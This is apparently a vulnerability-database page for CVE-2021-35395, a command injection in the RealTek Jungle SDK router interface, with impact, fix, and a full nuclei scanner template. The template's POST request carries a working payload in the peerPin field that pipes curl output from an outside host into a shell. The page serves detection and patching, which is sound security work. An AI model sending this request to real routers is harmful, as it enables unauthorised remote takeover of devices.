RealTek Jungle SDK - Arbitrary Command Injection

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.

Impact

Unauthenticated attackers can execute arbitrary system commands via command injection in the peerPin parameter, leading to complete router compromise and control over network traffic.

Fix

Apply the latest security patches or updates provided by RealTek to fix the vulnerability.

How to confirm it

Send: POST /goform/formWsc
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2021-35395 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-35395

info:
  name: RealTek Jungle SDK - Arbitrary Command Injection
  author: king-alexander
  severity: critical
  description: |
    There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via command injection in the peerPin parameter, leading to complete router compromise and control over network traffic.
  remediation: Apply the latest security patches or updates provided by RealTek to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35395
    - https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
    - https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en
    - https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf
    - https://github.com/Knighthana/YABWF
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35395
    epss-score: 0.98059
    epss-percentile: 0.99911
    cpe: cpe:2.3:a:realtek:realtek_jungle_sdk:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: realtek
    product: realtek_jungle_sdk
  tags: cve2021,cve,realtek,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /goform/formWsc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from